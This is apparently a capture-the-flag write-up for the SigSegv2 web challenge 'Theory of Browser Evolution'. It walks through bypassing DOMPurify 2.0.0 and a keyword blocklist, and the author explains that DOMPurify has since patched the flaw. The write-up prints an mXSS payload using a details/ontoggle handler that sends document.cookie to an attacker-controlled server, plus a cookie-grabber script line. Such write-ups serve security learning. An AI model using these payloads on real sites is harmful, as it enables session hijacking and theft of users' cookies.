Theory of Browser Evolution

Abstract

For their event SigSegv2 the RTFM community organizers opened a CTF, here we explain how to flag the web challenge Theory of Browser Evolution.

The goal of this challenge was to exploit a vulnerability in DOMPurify and a custom “sanitizer” and steal a cookie using Cross-Site-Scripting (XSS)

PS: I just watched a The legend of zelda speedrun, it shows.

Step 1: What do we have here ?

The challenge took place at:

http://qual-challs.rtfm.re:8080
for testing

and

http://qual-challs.rtfm.re:8080/check
to submit your solution and hopefully get that tasty cookie.

So you just loaded the first link this is what you’re greated with.
Image

Welp, that’s not much… but looks like the objective is clear, so let’s dig in and steal that cookie, shall we ?

Alright, upon inspection:

<html>
<head>
    <meta charset="utf-8">
    <title>Theory of Browser Evolution</title>
    <link href="assets/css/bootstrap.min.css" rel="stylesheet">
    <script src="assets/js/purify.min.js"></script>
</head>

<body>
<div class="container">
    <h1>Theory of Browser Evolution</h1>
    <p class="lead">Betcha you can't steal my cookie, n00b.</p>
</div>
<div id="injection"></div>
</body>

<script>
    var nuclearSanitizer = function (dirty) {
        var clean = dirty;

        forbiddenWords = ["onerror", "onload", "onunload", "img", "focus"];
        
        for (const fw of forbiddenWords) {
            if (dirty.toLowerCase().includes(fw)) {
                console.log(fw);
                clean = "";
                break;
            }
        }

        return clean;
    }
    
    var getUrlParam = function (name) {
        var reg = new RegExp("(^|&)" + name + "=([^&]*)(&|$)");
        var r = unescape(window.location.search.substr(1)).match(reg);
        if (r != null) return r[2];
        return null;
    }

    var layout = getUrlParam("layout");
    var clean = DOMPurify.sanitize(layout);
    
    // Hehe I made a custom sanitizer, no worriez
    clean = nuclearSanitizer(clean);

    var injectionPoint = document.getElementById("injection");
    injectionPoint.innerHTML = clean;
    injectionPoint.innerHTML = injectionPoint.innerHTML;
</script>
</html>

We find three things:

  1.   var layout = getUrlParam("layout");
      ...
      var injectionPoint = document.getElementById("injection");
     injectionPoint.innerHTML = clean;
     injectionPoint.innerHTML = injectionPoint.innerHTML;
    
    the page takes a urlParam and puts in an html element id injection.
  2.  <script src="assets/js/purify.min.js"></script>
     var clean = DOMPurify.sanitize(layout);
    
    The input is sanitized with DOMPurify provided by purify.js
  3.  var nuclearSanitizer = function (dirty) {
     ...
     // Hehe I made a custom sanitizer, no worriez
     forbiddenWords = ["onerror", "onload", "onunload", "img", "focus"];
     ...
     }
    
     clean = nuclearSanitizer(clean);
    
    The script rejects our input if it finds the img tag and a list of event listener [“onerror”, “onload”, “onunload”, “img”, “focus”];

So 1 gives us the opportunity to inject malicious code in the webpage (Cross-Site-Scripting (XSS)).

And 2 and 3 are trying to stop us.

ok so let’s take a look at DOMPurify, especially the version, on github, latest release in 2.0.3, on that page, I assumed it was 2.0.0 because I found:

if (u.version = "2.0.0",
        u.removed = [],
        !o || !o.document || 9 !== o.document.nodeType)

and I was right.

Alright we have all the necessary information about the page it’s google time.

Step 2: Google TIME!

One simple search yields good fruits, “DOMPurify 2.0.0 XSS” and we find that MICHAŁ BENTKOWSKI wrote up a piece about it:

https://research.securitum.com/dompurify-bypass-using-mxss/

and it gives us the first part of what I’m gonna call the Triforce and you cannot stop me (evil laugh).

<svg></p><style><a id="</style><img src=1 onerror=alert(1)>">

this beats DOMPurify and the article explains how better that I ever could, I encourage you to read it.

This is great but it uses img and onerror two words banned by nuclearSanitizer but it’s okay I know a guy.

Step 3: The guy

Ever heard of PaylodAllTheThings ? I didn’t but man was I glad to find it.

Especially https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS Injection

because it didn’t give one, but the last two pieces of the Triforce

let’s set up a server real quick to save the cookie on http://your_{ip, domain}/cookie.php/c={cookie}.

Step 4: The Triforce !

Image

Let’s gather our three pieces:

<svg></p><style><a id="</style><img src=1 onerror=alert(1)>">
<details/open/ontoggle='alert(1)'>
<script>document.location='http://localhost/XSS/grabber.php?c='+document.cookie</script>

What do they do ?

  1. defeats DOMPurify v2.0.0
  2. defeats nuclearSanitizer
  3. steals the cookie, sending it to our webserver

So let’s assemble our Triforce, defeat ganon pwn that website and save Princess Zelda get that cookie

we come up with:

http://qual-challs.rtfm.re:8080/?layout=<svg></p><style><a id="</style><details/open/ontoggle=document.location='http://your_{ip, domain}/cookie.php?c='+document.cookie>">

Time to check this, let’s go to http://qual-challs.rtfm.re:8080/check to test our work.

Pass the aforementionned url to the bot, fill the captcha, press send , sweat a lot .

Time to check the cookie.txt on our server:

$ cat <path_to>/cookies.txt
Cookie:flag=sigsegv{pur1fy_mY_s0ul}
$

Heck Yeah! Who’s the noob now ?

Closing word

I’m a noob so I’m glad people with better knowledge share online, it’s the inspiration to write up about this challenge, I hope you learnt something from this and if not that’s probably because you’re better than me or I can’t write/explain for shit =/ .

Also: update your DOMPurify if it’s not already done, the vulnerability has been patched.

Thanks to